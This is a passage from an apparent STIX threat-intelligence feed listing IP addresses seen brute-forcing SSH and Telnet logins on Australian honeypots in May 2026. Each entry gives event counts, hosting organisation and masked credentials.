      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T03:15:11.000Z",
      "valid_until": "2026-06-28T03:15:08.000Z"
    },
    {
      "created": "2026-05-27T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 273039. Organisation(s): Tecnologia del Presente 18, C.A.",
      "id": "indicator--d52723b0-0976-4bf9-9499-667f0f0bc77d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '149.100.146.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T03:15:11.000Z",
      "valid_until": "2026-06-28T03:15:08.000Z"
    },
    {
      "created": "2026-05-27T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 41. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): , C************0, C******************>, F************************t, G************0. Passwords observed (masked): , A*********************p, C**************S, C***************0, T***************>.",
      "id": "indicator--94f7ac4f-1123-45af-a634-22c1199cac5c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '164.92.176.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T03:15:11.000Z",
      "valid_until": "2026-06-28T03:15:08.000Z"
    },
    {
      "created": "2026-05-27T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): G************************************1, U****************************1. Passwords observed (masked): C***************e, H**********************3.",
      "id": "indicator--a06be41f-667c-4da0-a87e-b58ccce52780",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '164.92.206.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T03:15:11.000Z",
      "valid_until": "2026-06-28T03:15:08.000Z"
    },
    {
      "created": "2026-05-27T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--ed317ce3-5c4f-4c4c-95dc-7ca48a4ef2ce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.245.246.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T03:15:11.000Z",
      "valid_until": "2026-06-28T03:15:08.000Z"
    },
    {
      "created": "2026-05-27T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): G*********************************1, U****************************1. Passwords observed (masked): C***************e, H**********************3.",
      "id": "indicator--fccc9f42-04e2-4e60-9a22-5b9d9cd3e73c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.245.247.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T03:15:11.000Z",
      "valid_until": "2026-06-28T03:15:08.000Z"
    },
    {
      "created": "2026-05-27T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 25. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): G***********************1, U****************************1, G************1, U*******************************************************************). Passwords observed (masked): H**********************3, C***************e, A**********.",
      "id": "indicator--2ddb2246-3c04-4749-a687-2be0e7ae2a3d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '167.71.43.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T03:15:11.000Z",
      "valid_until": "2026-06-28T03:15:08.000Z"
    },
    {
      "created": "2026-05-27T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH. Usernames observed (masked): r**t. Passwords observed (masked): i****u.",
      "id": "indicator--a29116a4-3abd-42c3-b46d-8ab0cbb5daf9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '178.105.107.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T03:15:11.000Z",
      "valid_until": "2026-06-28T03:15:08.000Z"
    },
    {
      "created": "2026-05-27T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa.",
      "id": "indicator--c6bae706-8761-478c-89bb-b5a9e775da10",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.46.199.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T03:15:11.000Z",
      "valid_until": "2026-06-28T03:15:08.000Z"
    },
    {
      "created": "2026-05-27T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH.",
      "id": "indicator--e448b9f3-2c60-4184-9339-0ab60f683c64",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '23.88.2.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T03:15:11.000Z",
      "valid_until": "2026-06-28T03:15:08.000Z"
    },
    {
      "created": "2026-05-27T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KZ. ASN(s): 43370. Organisation(s): OBIT-telecommunications, LLC.",
      "id": "indicator--9e2b1d03-4a63-49be-8de5-9cf09cc6dedc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.161.198.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T03:15:11.000Z",
      "valid_until": "2026-06-28T03:15:08.000Z"
    },
    {
      "created": "2026-05-27T04:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--5ec9e440-6e9f-4777-8ba2-57c1526ef21d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T04:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.43.100.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T04:15:12.000Z",
      "valid_until": "2026-06-28T04:15:08.000Z"
    },
    {
      "created": "2026-05-27T04:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--899d7ef0-0176-4865-9b2b-c30f308c4c0b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T04:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '161.35.236.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T04:15:12.000Z",
      "valid_until": "2026-06-28T04:15:08.000Z"
    },
    {
      "created": "2026-05-27T04:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa.",
      "id": "indicator--e694ec7b-325c-4cc4-a62f-83277def92bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T04:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.3.145.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T04:15:12.000Z",
      "valid_until": "2026-06-28T04:15:08.000Z"
    },
    {
      "created": "2026-05-27T04:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 13285. Organisation(s): TalkTalk.",
      "id": "indicator--e8536775-ab3c-4f56-9d63-9e5e6b44912d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T04:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '92.17.219.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T04:15:12.000Z",
      "valid_until": "2026-06-28T04:15:08.000Z"
    },
    {
      "created": "2026-05-27T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--31c0d0f1-0fc4-48ec-92fe-c6b9f89fcb72",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.43.100.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T05:15:11.000Z",
      "valid_until": "2026-06-28T05:15:08.000Z"
    },
    {
      "created": "2026-05-27T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 21. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): G************************************1, U****************************1. Passwords observed (masked): C***************e, H**********************3.",
      "id": "indicator--c3614d1e-e215-46b4-bfa3-45fdaf61cd74",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '159.223.20.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T05:15:11.000Z",
      "valid_until": "2026-06-28T05:15:08.000Z"
    },
    {
      "created": "2026-05-27T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 46. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): U****************************1, G**************************************************1, G**********************************1. Passwords observed (masked): C***************e, H**********************3.",
      "id": "indicator--769d8cb0-3936-4310-bd76-4ccb566aa847",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '159.89.17.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T05:15:11.000Z",
      "valid_until": "2026-06-28T05:15:08.000Z"
    },
    {
      "created": "2026-05-27T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 306. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BG. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t, a*******r, d****n, u**r, ***. Passwords observed (masked): 1***5, r**t, 1****1, r**t, t**r.",
      "id": "indicator--a8229bfc-3f13-4eee-b0c1-a297155232ef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.109.200.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T05:15:11.000Z",
      "valid_until": "2026-06-28T05:15:08.000Z"
    },
    {
      "created": "2026-05-27T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 53667. Organisation(s): FranTech Solutions.",
      "id": "indicator--6f3d7a77-1dc5-4fc9-98e1-75610471d6cb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.98.50.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T05:15:11.000Z",
      "valid_until": "2026-06-28T05:15:08.000Z"
    },
    {
      "created": "2026-05-27T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 86. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0. Passwords observed (masked): **, C********0, H**********************3.",
      "id": "indicator--8081b922-062f-4cf3-9681-21a754137f70",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.14.39.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T05:15:11.000Z",
      "valid_until": "2026-06-28T05:15:08.000Z"
    },
    {
      "created": "2026-05-27T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 74. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6, b***********************************************************'. Passwords observed (masked): **, A*******************p, C********3, H**********************3, b***************************'.",
      "id": "indicator--77c25d9b-6bf3-45e8-b9b2-66470a94ff1a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.22.185.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T05:15:11.000Z",
      "valid_until": "2026-06-28T05:15:08.000Z"
    },
    {
      "created": "2026-05-27T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 199739. Organisation(s): Earthlink Telecommunications Equipment Trading & Services DMCC.",
      "id": "indicator--226775c8-5359-46e8-8eb2-e61ba2976bbe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.237.188.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T05:15:11.000Z",
      "valid_until": "2026-06-28T05:15:08.000Z"
    },
    {
      "created": "2026-05-27T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--f207ac15-5b47-4d97-a56a-d8061b0c6b20",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '60.184.99.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T05:15:11.000Z",
      "valid_until": "2026-06-28T05:15:08.000Z"
    },
    {
      "created": "2026-05-27T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 41. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): , C************0, C******************>, F************************t, G************0. Passwords observed (masked): , A*********************p, C**************S, C***************0, T***************>.",
      "id": "indicator--d631800c-09ca-4bf2-a549-08481df1ad49",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '68.183.223.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T05:15:11.000Z",
      "valid_until": "2026-06-28T05:15:08.000Z"
    },
    {
      "created": "2026-05-27T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): G*********************************1, U****************************1. Passwords observed (masked): C***************e, H**********************3.",
      "id": "indicator--9b2b55ef-3bba-429d-9eb9-f2b5dbabb6fe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '68.183.71.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T05:15:11.000Z",
      "valid_until": "2026-06-28T05:15:08.000Z"
    },
    {
      "created": "2026-05-27T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JO. ASN(s): 8376. Organisation(s): Jordan Data Communications Company LLC.",
      "id": "indicator--ba4c8881-0098-405f-bd14-70953d7a3c5a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '86.108.20.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T05:15:11.000Z",
      "valid_until": "2026-06-28T05:15:08.000Z"
    },
    {
      "created": "2026-05-27T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 44. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 142647. Organisation(s): Nasstec Airnet Networks Private Limited.",
      "id": "indicator--56826f1f-28c6-4342-b654-2f8bc9dea731",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.186.77.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T06:15:11.000Z",
      "valid_until": "2026-06-28T06:15:08.000Z"
    },
    {
      "created": "2026-05-27T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: BD. ASN(s): 23923. Organisation(s): Agni Systems Limited.",
      "id": "indicator--6c650ac7-e748-4db0-ad43-978704a6d44f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.148.8.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T06:15:11.000Z",
      "valid_until": "2026-06-28T06:15:08.000Z"
    },
    {
      "created": "2026-05-27T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 263790. Organisation(s): RED POWER INTERNET SRL.",
      "id": "indicator--bb24a370-3855-43ca-a7c8-8e80f8f799f7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.121.104.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T06:15:11.000Z",
      "valid_until": "2026-06-28T06:15:08.000Z"
    },
    {
      "created": "2026-05-27T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3929. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t, a***n, d****y, u**r, d******r. Passwords observed (masked): 1****6, p******d, P******d, ***, p******d.",
      "id": "indicator--07ef5efd-fc3c-4a1e-952d-445554956a59",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.132.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T06:15:11.000Z",
      "valid_until": "2026-06-28T06:15:08.000Z"
    },
    {
      "created": "2026-05-27T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 132199. Organisation(s): Globe Telecom Inc..",
      "id": "indicator--a3cff108-2efc-465a-bd15-6df0934f9925",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.191.52.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T06:15:11.000Z",
      "valid_until": "2026-06-28T06:15:08.000Z"
    },
    {
      "created": "2026-05-27T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 240. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BO. ASN(s): 26210. Organisation(s): AXS Bolivia S. A.. Usernames observed (masked): r**t, 3**********4, a***********r, d****l, d****e. Passwords observed (masked): 3***********4, 3**********4, *, ***, 1*******#.",
      "id": "indicator--88b3f6c1-01fd-4a75-85ff-c1b62a621fe9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.181.27.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T06:15:11.000Z",
      "valid_until": "2026-06-28T06:15:08.000Z"
    },
    {
      "created": "2026-05-27T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 6848. Organisation(s): Telenet BV.",
      "id": "indicator--cbc7206c-3a4d-4cd5-90a5-4ae7ae5f8d0c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '213.118.56.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T06:15:11.000Z",
      "valid_until": "2026-06-28T06:15:08.000Z"
    },
    {
      "created": "2026-05-27T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--e397d6c8-e8e6-4ac0-be40-d08cbad9d204",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.38.142.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T06:15:11.000Z",
      "valid_until": "2026-06-28T06:15:08.000Z"
    },
    {
      "created": "2026-05-27T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 89. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0. Passwords observed (masked): **, C********4, H**********************3.",
      "id": "indicator--52595dc1-5baf-4f9c-b3a1-03079c2c8230",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
